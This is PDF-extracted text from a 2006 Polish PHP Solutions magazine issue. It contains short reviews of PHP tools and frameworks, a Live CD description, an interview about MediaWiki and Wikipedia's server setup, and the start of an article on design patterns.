PHP For Applications (P4A)PHP For Applications to zorientowany obiekto-wo, napisany w PHP framework do szybkiego budowania aplikacji internetowych w oparciu o zdarzenia. Korzysta z systemu szablonów Fle-xy, co ułatwia separację logiki aplikacji od pre-zentacji danych. Umożliwia tworzenie interfejsu użytkownika w oparciu o widgety, które można pozycjonować m.in. w ramach siatki (gridu). P4A ułatwia również operacje bazodanowe i ma-nipulację danymi pobranymi z bazy. Korzysta z interfejsu bazodanowego PEAR::DB.Ułatwia internacjonalizację i lokalizację aplikacji m.in. dzięki obsłudze Unicode (UTF-8). P4A wymaga PHP4 lub PHP5, serwera Apache 1.3.x lub 2.0.x oraz systemu Linux lub Windows.Licencja: GPLhttp://p4a.sourceforge.net

MVC Management SystemMVC MS to przyblizona (niedosłowna) imple-mentacja wzorca projektowego MVC, czyli Model-Widok-Kontroler (ang. Model-View-Con-troller). Projekt zawiera m.in. klasy do obsługi baz danych i systemu logowania. MVC MS wymaga systemu szablonów Smarty w wersji 2.6.0 oraz warstwy abstrakcji bazodanowej AdoDB 4.05.Licencja: CPLhttp://narkozateam.com/mvcms/mvcms.html

SWIGSWIG (Simplifi ed Wrapper and Interface Gene-rator) to narzędzie programistyczne zaliczane do wrapperów. Pozwala wykorzystywać kod napisany w C i C++ w aplikacjach tworzonych w innych językach, takich jak PHP, Python, Perl, Java, Ruby, C# czy Common Lisp. Głów-nym zastosowaniem SWIG-a jest tworzenie środowisk programistycznych wysokiego pozio-mu oraz grafi cznych interfejsów użytkownika, a także testowanie, debugowanie i prototypo-wanie oprogramowania w C i C++. Narzędzie może również posłużyć np. do refaktoringu i reengineeringu starego oprogramowania.Licencja: BSDhttp://www.swig.org

WebCollabWebCollab to rozbudowana, ale jednocześnie prosta w obsłudze oraz intuicyjna aplikacja do zarządzania projektami (ang. project manage-ment). Jest przeznaczona do śledzenia wielu projektów oraz tworzonych w ich ramach zadań jednocześnie. Aplikacja jest wielojęzyczna. Nadaje się dla organizacji o dowolnym rozmia-rze, a także jako organizer osobisty. WebCol-lab umożliwia zaawansowane zarządzanie uprawnieniami użytkowników (grupy), grafi czną prezentację postępów w realizacji określonych projektów oraz ich porównywanie czy informo-wanie emailem o zmianach. Z innych narzędzi warto wymienić kalendarz czy listę zadań do wykonania (TODO). Wymaga dostępu do bazy MySQL lub PostgreSQL.Licencja: GPLhttp://webcollab.sourceforge.net

CNSearchCNSearch to wyszukiwarka do zainstalowania na witrynie internetowej. Działa na serwerach z systemem operacyjnym Windows, Linux, FreeBSD i Solaris. Wyszukiwarka znajdzie zastosowanie głównie na niedużych witrynach, które potrzebują skutecznego narzędzia do przeszukiwania zawartości podstron. System składa się z dwóch częsci: aplikacji odpowie-dzialnej za indeksowanie oraz interfejsu wyszu-kiwawczego, który po wprowadzeniu zapytania zwraca wyniki. CNSearch poszukuje plików typu HTML, PDF, DOC, MP3, XLS, RTF oraz TXT. Program nie wymaga dostępu do bazy danych.Licencja: demo/komercyjna ($40)http://www.cn-software.com/cnsearch

phpSHIELD

phpSHIELD to obfuskator – program,

który koduje kod źródłowy skryptów

PHP, blokując w ten sposób dostęp do

niego. Użycie narzędzi tego typu jest

obecnie najlepszym sposobem ochrony

praw autorskich do aplikacji interneto-

wych o zamkniętym kodzie i rozwijania

własnych systemów licencjonowania.

Po instalacji programu phpSHIELD uzy-

skujemy gwarancję, że żaden fragment

naszego kodu PHP nie zostanie przeko-

piowany i nielegalnie wykorzystany.

phpSHIELD ofertuje typowy interfejs

okienkowy, dzięki czemu pozwala zabez-

pieczyć skrypty w mgnieniu oka każdemu.

Jest prosty i przyjazny w obsłudze. Do-

stępne są trzy wersje programu, działają-

ce pod systemami Windows, Linux i Mac

OS X. Po stronie serwera wymagane

jest jedynie PHP w standardowej konfi -

guracji oraz specjalne narzędzia służące

do ładowania zakodowanych skryptów,

udosŧępniane bezpłatnie przez produ-

centa programu phpSHIELD na głównej

witrynie projektu. Twórcy phpSHIELDa

przygotowali je dla trzech systemów ope-

racyjnych.

phpSHIELD zamienia kod skryptu

PHP na natywny kod binarny, co całko-

wicie uniemożliwia odwrócenie procesu,

a także w pewnym stopniu zwiększa

wydajność skryptu. Oprogramowanie

obsługuje zarówno czwartą, jak i piątą

odsłonę PHP.

Podsumowując: phpSHIELD to na-

rzędzie, które przyda się każdemu pro-

gramiście PHP, który chce tworzyć opro-

gramowanie o zamkniętym kodzie.

Licencja: Komercyjna ($99)

http://phpshield.com

CivicSpace

CivicSpace to CMS będący udosko-

naloną i rozszerzoną dystrybucją

systemu Drupal (opis Drupala znajdzie-

cie w poprzednim numerze magazynu

PHP Solutions, nr 1/2006). Do najważ-

niejszych ulepszeń, jakie znajdziemy

w CivicSpace, można zaliczyć automa-

tyczny instalator oraz łatwy w użyciu sys-

tem konfi guracji. Poza tym CivicSpace

zapewnia większe repozytorium dostęp-

nych modułów. Domyślnie dostępnymi

modułami są: blog, forum dyskusyjne,

repozytorium plików, galeria fotografi i,

sondy i głosowania. Istnieje możliwość

zarządzania kontaktami z klientami

(współpraca z CivicCRM). Aplikację

wzbogacono ponadto w system rozsyła-

nia mailingu. CivicSpace oferuje ciekawe

narzędzie do organizowania wydarzeń.

Pozwala użytkownikom zapisywać się

i tworzyć nowe wydarzenia bezpośred-

nio na stronie. Tego programu używała

niegdyś grupa muzyków (Music for

America), do organizacji wielu występów

w różnych lokalizacjach. Co ciekawe sys-

tem wzbogacono także w oprogramowa-

nie do otrzymywania dotacji. CivicSpace

posiada własny agregator dokumentów

RSS i wykorzystuje edytor WYSIWYG Ti-

nyMCE. Istnieje wewnętrzny system wy-

miany wiadomości pomiędzy wszystkimi

zarejestrowanymi na stronie (system po-

wiadomi nas, kiedy nasi znajomi znajdują

się na stronie). Nie zabrakło przyjaznych

odnośników, możliwości zmiany skórek,

czy obsługi wielu języków. Są statystyki

i wyszukiwarka zasobów. System ob-

sługuje keszowanie treści, potrafi też

wykorzystywać crona. Do generowania

grafi k wykorzystuje bibliotekę GD lub

ImageMagick.

Licencja: GPL

http://civicspacelabs.org

06_07_08_09_10_aktualnosci_PL.indd 9 2006-01-12, 17:33:02

Page 10: PHPSolutions_2_2006_PL

Aktualności

PHP Solutions Nr 2/2006www.phpsolmag.org10

clsJSPHPclsJSPHP to pomost pomiędzy PHP a Java-Scriptem, pozwalający na wywoływanie funkcji stworzonych w PHP z poziomu JavaScriptu. Umożliwia zarówno asynchroniczne, jak i syn-chroniczne przesyłanie danych z przeglądarki do serwera, bez konieczności przeładowy-wania strony. Korzystanie z clsJSPHP jest bardzo proste: wystarczy załadować główny skrypt korzystając ze znacznika <script src>. Od tej chwili w JS możemy korzystać z takich funkcji, jak jsphp_exec(), która pozwala łado-wać skrypty PHP (z parametrami) i ustalać sposób przesyłania danych. Po stronie ser-wera korzystamy z obiektu $jsphp i możemy manipulować znajdującym się po stronie klienta dokumentem HTML, m.in. ustawiając style, atrybuty, wpisując własny kod HTML oraz wyświetlając okienka typu Alert.Licencja: LGPLhttp://d-xp.com/clsjsphp

phcphc to opensourcowy kompilator kodu PHP. W założeniu ma przekształcać skrypty PHP bezpośrednio do asemblera, generując pro-gramy wykonywalne pod Linuksem. Obecna wersja nie dokonuje jeszcze samej kompilacji, ale ma wiele innych, również użytecznych zastosowań. Przykładowo, na bazie phc można stworzyć obfuskator kodu PHP czy narzędzia do refaktoryzacji, gdyż program szczegółowo analizuje kod skryptu i tworzy je-go drzewo, przypominające DOM (Document Object Model), które można przekształcić z powrotem do natywnego kodu PHP. Inne proponowane przez twórców phc rozwiązania, które możemy na nim oprzeć to narzędzia do sprawdzania składni, optymalizacji skryptów czy tłumaczenia jednego języka programowa-nia na drugi.Licencja: GPLhttp://www.phpcompiler.org

XOADXOAD, znany również jako NAJAX, to zo-rientowany obiektowo framework pozwala-jący tworzyć dynamiczne aplikacje webowe oparte na technologiach AJAX oraz XAP. Do komunikacji wykorzystuje format JSON (JavaScript Object Notation) i serializację natywnych obiektów PHP. XOAD obsługuje zdarzenia po stronie serwera, stosując ich obserwację (wzorzec projektowy Observer) oraz po stronie klienta (zdarzenia XOAD). Dla projektu istnieje szereg rozszerzeń, działających zarówno po stronie serwera, jak i klienta. Umożliwiają one m.in. keszowanie i manipulację dokumentami HTML. XOAD ma dobrą, szczegółową dokumentację (w tym tutoriale) zilustrowaną przykładami. Autorzy projektu zapewniają, iż położyli szczególny nacisk na bezpieczeństwo.Licencja: PHP License 3.0http://www.xoad.org

PhramePhrame to framework do tworzenia aplikacji webowych bazujących na modelu Jakarta Struts. Zapewnia implementację wzorca MVC (Model – Widok – Kontroler) i dodaje do niego takie komponenty, jak: HashMap, ArrayList, ListIterator, Stack (stos), Object i wiele innych. Twórcy Phrame zalecają tworzenie aplikacji zgodnie z architekturą Model2, która stanowi odmianę MVC. W ramach Modelu, Phrame współpracuje ze standardowymi technolo-giami dostępu do baz danych, takimi jak jak PEAR::DB czy ADODB. Widok może korzy-stać ze Smarty'ego, XSLT, Flasha MX i innych rozwiązań. Phrame wymaga PHP 4.2.x lub 4.3.x. Działa również pod PHP5.Licencja: LGPLhttp://www.phrame.org

PHP Advanced Graph & Chart Collection

PHP Advanced Graph&Chart Collection

to oprogramowanie przeznaczone do

generowania wykresów dwuwymiarowych

(2D) i trójwymiarowych (3D) przeznaczo-

nych do umieszczania na stronach WWW.

Program wyróżnia się zaawfunkcjonalno-

ścią. Zakres możliwych do wygenerowania

wykresów jest wręcz ogromny, bo obejmu-

je właściwie wszystkie rodzaje, począwszy

od kołowych, słupkowych i liniowych,

a kończąc na horyzontalnych i umiesz-

czonych w płaszczyźnie pionowej. Do tego

należy dodać wszystkie możliwe odmiany

i połączenia wykresów standardowych.

Oprogramowanie pobiera dane wej-

ściowe z wielu źródeł, takich jak pliki, bazy

danych, skrypty, czy parametry przekaza-

ne za pośrednictwem tagów HTML. Na

stronie internetowej projektu znajdziemy

rozbudowaną dokumentację oraz serię tu-

toriali wprowadzających. Pokazują one, jak

w prosty sposób wygenerować pożądany

wykres, wpisując dosłownie jedną linię ko-

du: tworzymy znacznik <img>, do którego

jako źródło ustalamy dołączony do pakietu

skrypt PHP. Aby otrzymać gotowy wykres,

musimy jedynie podać jego parametry, ta-

kie jak typ, rozmiar i źródło danych.

Podsumowując: biblioteka jest wystar-

czająco prosta w obsłudze, aby nadawać

się dla początkujących programistów, pod-

czas gdy jej funkcjonalność zadowoli wie-

lu profesjonalistów. Szczególnie warto po-

lecić przewodniki, prezentujące metody

wdrożenia 17 typów wykresów. Pozwalają

one błyskawicznie zorientować się w zasa-

dach pracy z biblioteką, szczególnie, gdy

źródłem danych mają być bazy danych

czy skrypty.

Licencja: trial/komercyjna ($195)

http://www.jpowered.com/php-scripts/adv-

graph-chart

Google przyspiesza ładowanie stron WWW

Web Accelerator to ciekawa propo-

zycja ze stajni Google Labs (http://

labs.google.com/), która sprawi, że stro-

ny WWW będą ładowały się szybciej.

Program działa w tle, a od użytkownika

niewymagane jest podejmowanie żadnych

operacji. Instalacja przebiega szybko i bez-

boleśnie. Po zainstalowaniu aplikacji nasza

przeglądarka okupiona zostaje kolejnym

gadżetem – małym zegarkiem z czasem,

który zaoszczędziliśmy dzięki zastosowa-

niu akceleratora. Oprogramowanie pracuje

zarówno na przeglądarkach Internet Explo-

rer 5.5+, jak i Firefox 1.0+, choć można

z niego korzystać także w innych, poprzez

ustawienie specjalnego, lokalnego adresu

proxy (127.0.0.1:9100). Program stworzo-

no z myślą o łączach szerokopasmowych

– w przypadku połączeń modemowych

(dial-up) nie zauważymy żadnych rewe-

lacji. Web Accelerator wykorzystuje kilka

rozwiązań, które pozwalają przyspieszyć

ładowanie witryn. Przepuszcza zapytania

poprzez serwery Google i tworzy lokalne

kopie często przeglądanych stron. Jeżeli

aktualna wersja strony różni się od kopii,

akcelerator ściąga tylko różnice między

plikami, oszczędzając na transferze da-

nych. Akcelerator przewiduje również, jakie

witryny będziemy mieli zamiar oglądać

i pobiera je z wyprzedzeniem. Zajmuje się

także optymalizacją pasma, zapewniając

jak najmniejsze opóźnienia, gdy łącze

jest silnie wykorzystywane. Zanim dane

zostaną wysłane do naszego komputera,

akcelerator dba o ich kompresję, co zwięk-

sza prędkość transferu. Web Accelerator

nie pomaga w przyspieszaniu ładowania

wszystkich stron. Pomija witryny HTTPS

(np. strony banków internetowych) czy

strony z plikami mp3 i video (video stre-

aming).

Licencja: Google

http://webaccelerator.google.com/

terms.html

06_07_08_09_10_aktualnosci_PL.indd 10 2006-01-12, 17:34:01

Page 11: PHPSolutions_2_2006_PL

11_progreso_R_PL.indd 1 2006-01-12, 17:34:50

Page 12: PHPSolutions_2_2006_PL

www.phpsolmag.org12

Opis CD

PHP Solutions Nr 2/2006

Lekcje video Keystonelearning

Na płycie zamieściliśmy przykładowe

lekcje programowania w PHP5,

prowadzone przez Davida Smitha. Ma on

bardzo duże doświadczenie w nauczaniu

programowania. Szkolił między innymi pra-

cowników Digital Equipment Corporation,

czy Compaq Computers, a obecnie jest

trenerem w fi rmie Microsoft. Lekcje video,

które udostępniamy, uzupełnione są mate-

riałami w PDF i przykładowymi skryptami

w PHP także obecnymi na płycie. Jest to

część większego kursu, którego celem jest

nauczenie posługiwania się językiem PHP

w stopniu umożliwiającym pisanie dojrza-

łych i interaktywnych aplikacji.

Kurs prowadzi od podstaw do bar-

dzo zaawansowanych technik. Stara się

nauczyć wszystkiego co dla programisty

PHP jest ważne. Jego duża część poświę-

cona jest obiektowości. Wszystkie dostęp-

ne na płycie lekcje można obejrzeć bezpo-

średnio z PHP Solutions Live CD, ale ist-

nieje także możliwość skorzystania z nich

w systemach zainstalowanych na stałe. Dla

Windows stworzono specjalny instalator

dostępny na płycie w katalogu PHP 5 Pro-

gramming Essentials. W każdym z syste-

mów można także po prostu odtwarzać

PHP Solutions Live – opis płyty CD

Na płycie CD zamieściliśmy PHP

Solutions Live – bootowalną dystry-

bucję Linuksa opartą na Aurox Live 11.

Stanowi ona kompletną platformę testową,

zawierającą PHP5, bazę danych MySQL,

serwer WWW Apache oraz przeglądarkę

Firefox. Pozwala na testowanie i modyfi -

kowanie opisanych w artykułach aplikacji,

a także tworzenie i korzystanie z własnych

skryptów (należy je umieszczać w katalogu

/var/www/html).

Aby ją uruchomić, należy wystarto-

wać komputer z płyty CD (może oka-

zać się konieczne ustawienie w BIOS-ie

komputera odpowiedniej opcji). Po uru-

chomieniu systemu, ukaże się okno prze-

glądarki internetowej, zawierające me-

nu płyty podzielone na kategorie. Pierw-

szą z nich jest Keystonelearning videos.

Znajdują się w niej opisane wyżej lek-

cje video dotyczące PHP. Są one goto-

we do odtwarzania i możecie je urucho-

mić jednym kliknięciem. Zachęcamy do

oglądania!

W następnych kategoriach znajdziecie

aplikacje, które zmieściły się na płycie,

pliki .wmv znajdujące się w podkatalogach,

o ile posiadamy odtwarzacz czytający te-

go typu pliki.

Pełny kurs dostępny jest na stronie

producenta: http://store.keystonelearning.

com/php5.aspx

książki w formacie PDF oraz rozwiązania

z artykułów Serwer Monitor oraz Data

Grid.

PHP Solutions Live pozwala na ko-

rzystanie z dysków twardych (wszystkie

partycje są automatycznie montowane

podczas startu systemu) oraz sieci lo-

kalnej i Internetu. Sieć trzeba najpierw

skonfi gurować. Możecie to zrobić na

kilka sposobów. Pierwszym z nich jest

użycie działającego w trybie grafi cz-

nym narzędzia (system-network-confi g).

Drugą metodą jest wywołanie polecenia

netconfi g z terminala. Po jego użyciu trze-

ba zrestartować sieć poleceniem service

network restart. Kolejnym sposobem jest

użycie trzech komend linuksowych:

ifconfi g urządzenie adres_IP,route

add default gw adres_bramki_internetowej

oraz

echo "nameserver adres_IP" > /etc/

resolv.conf.

Życzymy miłej pracy z Livem i czekamy na

Wasz odzew.

Redakcja PHP Solutions

12_opisCD_live_PL.indd 12 2006-01-12, 17:36:36

Page 13: PHPSolutions_2_2006_PL

Na CDNa CD

Video i PDF

lekcje PHP z KeyStone Learning

obejrzyj w Live lub zainstaluj!

Rozwiązania z artykułów w PHP Solutions LiveCD

Serwer Monitor

DataGrid

Programy

Macromedia Dreamwaver 8

MX Kollection 3 – trial version

PHP Advanced Graph & Chart Collection – niekończący się trial

PHPShield – komercyjny encoder PHP – 30-day trial

CN-STATS i CN-SEARCH – special try-before-buy – wypróbuj w Live

SVN and CSV for Dreamweaver – evaluation version – wypróbuj w Live

Wszystk

ie li

stin

gi z

art

ykułó

w z

osta

ły z

am

ieszczone

na n

aszej s

tronie

inte

rneto

wej p

od a

dre

sem

www.phpsolmag.org/pl

3 nowe książki elektronicznePerl and XML

PHP5 Power Programming

OASIS OpenDocument essentials – using OASIS OpenDocument XML

Wszystk

ie li

stin

gi z

art

ykułó

w z

osta

ły z

am

ieszczone

na n

aszej s

tronie

inte

rneto

wej p

od a

dre

sem

www.phpsolmag.org/pl

Przetestuj aplikacje

bez instalacji!

13_pod_CD.indd 13 2006-01-12, 17:37:01

Page 14: PHPSolutions_2_2006_PL

www.phpsolmag.org14

Wywiad

PHP Solutions Nr 2/2006

Sukces PHP i Wikipedii: wywiad z Elisabeth BauerKrzysztof Sobolewski

Zastosowanie MediaWiki nie jest

ograniczone do samej Wikipedii.

Silnik ten obsługuje również po-

krewne projekty Wiktionary (http://wiktio-

nary.org) i Wikibooks (http://wikibooks.org),

znane pod łączną nazwą Wikimedia, oraz

wiele innych serwisów. Rozmawiamy z Eli-

sabeth Bauer, redaktorem i administrato-

rem niemieckiej wersji Wikipedii. Elisabeth

jest również rzecznikiem prasowym Wiki-

media Foundation – odpowiedzialnej za

fi nansowanie rozwoju i utrzymania Media-

Wiki oraz projektów pokrewnych.

Krzysztof Sobolewski: Jakie były po-

czątki projektu MediaWiki? Co było wtedy

najważniejsze? Jakie technologie zostały

wykorzystane – czy od początku były to

PHP i MySQL?

Elisabeth Bauer: Tak, PHP i MySQL

były używane od samego początku. Pier-

wotna wersja Wikipedii korzystała z wiki

Usemod, ale szybko stało się jasne, że

ten silnik nie nadaje się dla encyklopedii,

gdyż nie skaluje się dostatecznie dobrze.

Niemiecki student biologii Magnus Manske

stworzył zatem własny CMS, wykorzystując

w tym celu PHP i MySQL. Jego system był

kilkakrotnie modyfi kowany i rozszerzany

Wikipedia to ponad milion artykułów w kilkunastu

językach i lider wśród encyklopedii internetowych.

Sukces zawdzięcza silnikowi MediaWiki:

wielojęzycznemu, wielowersyjnemu systemowi

zarządzania artykułami, pozwalającemu na

współpracę wielu redaktorów i oferującemu

kontrolę wersji. MediaWiki wykorzystuje język

znaczników Wikitext, dzięki któremu dodawanie

i edycja artykułów są szybkie i łatwe. Silnik

MediaWiki pokazuje potęgę technologii *AMP.

pod różnymi nazwami, aż przybrał postać

znanego nam obecnie silnika MediaWiki.

KS: Dlaczego wybraliście właśnie

PHP i MySQL?

EB: Z dwóch prostych powodów: PHP

i MySQL są darmowe i dostępne na zasa-

dach open source, a poza tym korzystała

z nich pierwsza osoba, która na ochotnika

stworzyła oprogramowanie specjalnie dla

potrzeb Wikipedii.

KS: Wikipedię można uznać za wielki

sukces technologii Apache+PHP+MySQL

(*AMP). Obecnie encyklopedia zawiera po-

nad milion artykułów, a ruch na serwerach

jest bardzo duży. Jakie wady technologii

AMP możesz wskazać z punktu widzenia

administratora? Czy aplikacje bazujące

na AMP mogą spro stać tak dużemu

zapotrzebowaniu i nadal pracować wydaj-

nie? Czy mieliście dotąd jakieś problemy

z utrzymaniem Wikipedii? Czy istnieje

granica, poza którą silnik MediaWiki nie

będzie w stanie podołać wymaganiom?

EB: W ciągu ostatnich czterech lat

mieliśmy sporo problemów i próbowaliśmy

różnych rozwiązań w celu utrzymania stałej

dostępności witryny w obliczu wciąż rosną-

cego ruchu (według Alexa.com, Wikipedia

należy obecnie do 40 najpopularniejszych

witryn w Sieci). Stworzyliśmy na przykład

cały zestaw serwerów buforujących Squid,

serwujących czytelnikom gotowe strony.

Obsługa zapytań do bazy danych MySQL

jest rozkładana na kilka replikowanych

serwerów, co niekiedy wiąże się z proble-

mami wynikającymi z opóźnień replikacji

– w skrajnych sytuacjach musimy przełą-

czać centralną bazę danych w tryb tylko do

odczytu, wstrzymując tym samym wszelkie

prace redakcyjne do czasu zaktualizowania

bazy przez wszystkie serwery replikujące.

W niektórych przypadkach musieliśmy się

rozejrzeć na innymi rozwiązaniami pro-

gramowymi – na przykład uruchomiony

w listopadzie 2005 serwer grafi ki wyko-

rzystuje teraz zamiast Apache’a szybszy

serwer lighthttpd. Wyszukiwarka była cią-

głym źródłem problemów, do tego stopnia,

że przy dużym obciążeniu musieliśmy ją

rutynowo wyłączać, co oczywiście było

sporą niewygodą dla czytelników Wikipedii.

Z tego względu projekty Wikimedia wyko-

rzystują obecnie wyszukiwarkę opartą na

silniku Lucene.

KS: Ile macie serwerów i jak wygląda

zarządzanie nimi? Jakiego oprogramo-

14_15_Wywiad_PL.indd 14 2006-01-12, 17:38:48

Page 15: PHPSolutions_2_2006_PL

Wikipedia

www.phpsolmag.org 15

Wywiad

PHP Solutions Nr 2/2006

wania używacie, poza Apachem, MySQL

and PHP?

EB: W listopadzie 2005 korzystaliśmy

ze 124 serwerów w czterech miejscach:

na Florydzie, w Amsterdamie, w Paryżu

i w Korei Południowej. Zespołem serwerów

zarządza dwóch ofi cjalnie zatrudnionych

pracowników i grupa administratorów-

ochotników. Serwery są podzielone na

serwery bazy danych, serwery Apa-

che i serwery buforujące Squid. Dla

zwiększenia wydajności używany jest

Memcached, a za balansowanie obcią-

żenia odpowiada mechanizm LVS (http:

//wikitech.leuksman.com/view/LVS). Do

śledzenia błędów używana jest Bugzilla.

Poza tym korzystamy z narzędzi Mailman,

OTRS i kilku innych.

KS: Które z możliwości silnika Media-

Wiki lubisz najbardziej? Które funkcje uwa-

żasz za kluczowe dla sukcesu Wikipedii?

EB: Trudne pytanie... Osobiście naj-

bardziej lubię możliwość defi niowania

własnych arkuszy stylów CSS i łączenia

ich z funkcjami Javascriptu, co pozwala

dowolnie dostosować styl interfejsu do kon-

kretnych potrzeb. Jednak dla sukcesu Wi-

kipedii najważniejsze były (i nadal są) nie

zaawansowane funkcje silnika MediaWiki,

tylko doskonałe wbudowane możliwości

śledzenia zmian. Ostatnie modyfi kacje,

nowe strony, historia stron, czytelnie for-

matowane różnice między wersjami, lista

użytkowników, możliwość łatwego śledze-

nia informacji dodawanych przez poszcze-

gólnych redaktorów – wszystkie te funkcje

są nieodzowne w procesie tworzenia wyso-

kiej jakości encyklopedii o otwartej fi lozofi i

redagowania.

KS: Poza Wikipedią i projektami

pokrewnymi (na przykład Wiktionary.org

czy Wikibooks.org), ile serwisów korzysta

obecnie z silnika MediaWiki? Czy ich ad-

ministratorzy kontaktują się z wami?

EB: Silnik MediaWiki stał się ostatnio

jedną z popularniejszych platform dla ser-

wisów wiki. Używa go większość znanych

mi nowych wiki, między innymi dlatego,

że wiele osób już zna składnię artykułów

MediaWiki z prac nad Wikipedią. Dużą

zaletą jest potężna baza użytkowników,

co znacznie zwiększa bezpieczeństwo

– jeśli pojawia się problem, to na ogół jest

on szybko wykrywany w obsługującej mi-

liony użytkowników Wikipedii i błyskawicz-

nie naprawiany. Silnik MediaWiki stał się

szczególnie popularny w wewnętrznych

fi rmowych wiki – wiadomo nam o kilku

dużych fi rmach korzystających z baz wie-

dzy opartych na MediaWiki. Przykładem

może być fi rma Opensuse, używająca

MediaWiki dla swojego serwisu http://

www.opensuse.org, ale są też instytucje

rządowe, organizacje pozarządowe, fi rmy

consultingowe i wiele innych (patrz http://

meta.wikimedia.org/wiki/Sites_using_Me-

diaWiki). Kontakt z użytkownikami Media-

Wiki jest na ogół ograniczony do zgłoszeń

problemów technicznych na liście dys-

kusyjnej. Pewnym problemem jest fakt,

że MediaWiki nie ma dokumentacji jako

takiej, więc użytkownicy muszą tworzyć

własną dokumentację lub kopiować ist-

niejące informacje z Wikipedii na licencji

GFD.

KS: MediaWiki jest wielojęzycznym

CMS-em, w którym lokalizacja treści jest

jednym z kluczowych elementów. Czy

wielojęzyczność jest wykorzystywana

w serwisach wiki innych niż Wikipedia

i projekty pokrewne? Czy silnik MediaWiki

był wielojęzyczny od samego początku?

EB: Tak, wielojęzyczność była pod-

stawowym wymaganiem dla międzyna-

rodowej encyklopedii. Jakiś czas temu

w MediaWiki pojawiła się rewelacyjna

funkcja, która niepomiernie skróciła czas

lokalizacji: możliwość edycji zlokalizo-

wanych komunikatów przez zaufanych

użytkowników wiki. Pozwala nam to stwo-

rzyć Wikipedię w mało znanym języku,

na przykład w oksytańskim, nadać kilku

zaufanym użytkownikom uprawnienia ad-

ministratora i po paru tygodniach mamy

zlokalizowaną wersję MediaWiki dla oksy-

tańskiego.

KS: Ilu programistów pracuje nad pro-

jektem MediaWiki? Czy wszyscy stosują

się do ogólnej polityki rozwoju projektu?

EB: Przy MediaWiki pracuje obecnie

około tuzina programistów, a kilku innych

od czasu do czasu zgłasza poprawki.

(patrz http://meta.wikimedia.org/wiki/De-

velopers). Większość programistów po-

chodzi ze społeczności Wikimedia, ale

niektórzy prowadzą też własne wiki (na

przykład Evan Prodromou, założyciel Wi-

kiTravel). Proces deweloperski opiera się

na typowym dla projektów open source

modelu życzliwej dyktatury – ostateczna

decyzja odnośnie zmian wprowadza-

nych do kodu produkcyjnego należy do

głównego programisty, Briona Vibbera.

Jak dotąd model ten sprawdza się dość

dobrze, zwłaszcza że wszyscy rozumieją

konieczność dbania o bezpieczeństwo

– wiele zmian jest wprowadzanych do

działającego kodu Wikipedii tuż po ich

zatwierdzeniu w CVS-ie.

KS: Czy fi rmy są skłonne wspierać

Fundację fi nansowo?

EB: Czasami tak – niektórzy są gotowi

zapłacić za dodanie określonych funkcji,

choć tego typu potrzeby częściej są zgła-

szane przez instytucje akademickie, na

przykład holenderską fundację Kennisnet.

Inne organizacje wspierają naszą pracę

zezwalając swoim programistom na pomoc

w projekcie Wikimedia w czasie wolnym

lub udzielając darmowego wsparcia tech-

nicznego.

KS: Jakie macie plany na przyszłość?

Jak widzicie kierunki dalszego rozwoju Wi-

kipedii zarówno od strony użytkowej, jak

i technicznej? W kwestii technicznej, czy

planujecie przejść na PHP5?

EB: Dalszy rozwój MediaWiki będzie

nadal zależał w dużej mierze od potrzeb

Wikipedii – obecnie oznacza to przede

wszystkim rozbudowę mechanizmów

kontroli dostępu i walidacji. Opraco-

wywane są również lepsze metody

zwalczania spamu i ataków botów, jak

również mechanizm oceniania treści. Od

strony technicznej, trwają prace nad We-

bAPI pozwalającym aplikacjom bezpo-

średnio korzystać z artykułów Wikipedii.

Przejście na PHP5 jest planowane w tym

tygodniu, więc w chwili publikacji tego

wywiadu Wikipedia będzie już prawdo-

podobnie korzystać z PHP5.

KS: Dziękuję za rozmowę. �

Elisabeth Bauer jest redaktorem i admi-

nistratorem niemieckiej wersji Wikipedii,

a dodatkowo pełni funkcję rzecznika

prasowego Wikimedia Foundation. Jej

rola w rozwoju silnika MediaWiki polega

na przekazywaniu informacji między

użytkownikami a programistami. Do jej

obowiązków należy zarządzanie niemiec-

kojęzyczną dokumentacją MediaWiki,

przekazywanie programistom sugestii

użytkowników dotyczących nowych funk-

cji, informowanie użytkowników o proble-

mach technicznych zgłaszanych przez

administratorów i sprawowanie pieczy

nad aspektami użytkowymi tworzonego

oprogramowania.

Kontakt: [email protected]

O naszym gościu

14_15_Wywiad_PL.indd 15 2006-01-12, 17:38:58

Page 16: PHPSolutions_2_2006_PL

www.phpsolmag.org16

Początki

PHP Solutions Nr 2/2006

Ideę wzorców projektowych najlepiej

oddaje zdanie: Powerful and practical

solutions to common problems, czyli

wydajne i praktyczne rozwiązania znanych

problemów programistycznych.

Najprostszym przykładem wzorca mo-

że być włączanie tych samych plików (np.

header.php i footer.php) na wielu stronach

WWW. Dzięki temu, zmiany dokonane

w tych plikach będą widoczne na wszyst-

kich stronach, które z nich korzystają.

W rzeczywistości wzorce rozwiązują dużo

poważniejsze problemy, stanowiąc często

prawdziwe remedium dla programistów,

a w konsekwencji zapewniając solidną,

elastyczną i wydajną architekturę aplikacji.

Bardzo istotne jest odróżnienie wzorców

programistycznych (np. Dekorator pozwa-

lający na udekorowanie klasy nowymi funk-

cjonalnościami) od wzorców architektonicz-

nych, zwanych też projektowymi (np. MVC

mówiący o tym, że aplikację należy dzielić

na trzy lub cztery warstwy: prezentację,

logikę/serwisy i dane). Pierwsze dają się

Znajomość wzorców przyspiesza

samodzielne rozwiązywanie wielu problemów

programistycznych i systematyzuje terminologię

używaną przez programistów. Ta wiedza

zdecydowanie oszczędza czas potrzebny na

stworzenie dobrze działającej i poprawnie

skonstruowanej aplikacji.

przełożyć bezpośrednio na kod, kiedy te

drugie wyznaczają strukturę naszego kodu

w skali warstw, a nie pojedynczych klas.

Wzorce projektowe zawsze były do-

meną obiektowych języków programowa-

nia takich jak Java. Ich implementacja dla

PHP3 była niemożliwa (brak modelu obiek-

towego), a PHP4 stawiało wiele ograni-

czeń, np. brak interfejsów i typowania. Na

szerszą skalę zaczęto je stosować dopiero

w PHP5, które zapewnia bogate i w pełni

obiektowe środowisko aplikacyjne.

Tym artykułem otwieramy serię po-

święconą wzorcom projektowym, w której

dokonamy usystematyzowania wiedzy,

Wzorce projektowe w akcji – rozwiązania znanych problemów w praktyce Paweł Kozłowski, Piotr Szarwas

W SIECI

1. http://www.zend.com/php/

design/ – projektowanie

aplikacji w PHP5

2. http://www.developer.com/

design/article.php/3345121

– implementacja wzorców

projektowych w PHP5

3. http://www.phptr.com/

content/images/

013147149X/downloads/

013147149X_book.pdf

– znakomita książka PHP5

Power Programming w wer-

sji PDF

Co należy wiedzieć...Powinieneś być zaznajomiony z progra-

mowaniem obiektowym w PHP5

Co obiecujemy...Poznasz najważniejsze wzorce projekto-

we i ich praktyczne wykorzystanie w bu-

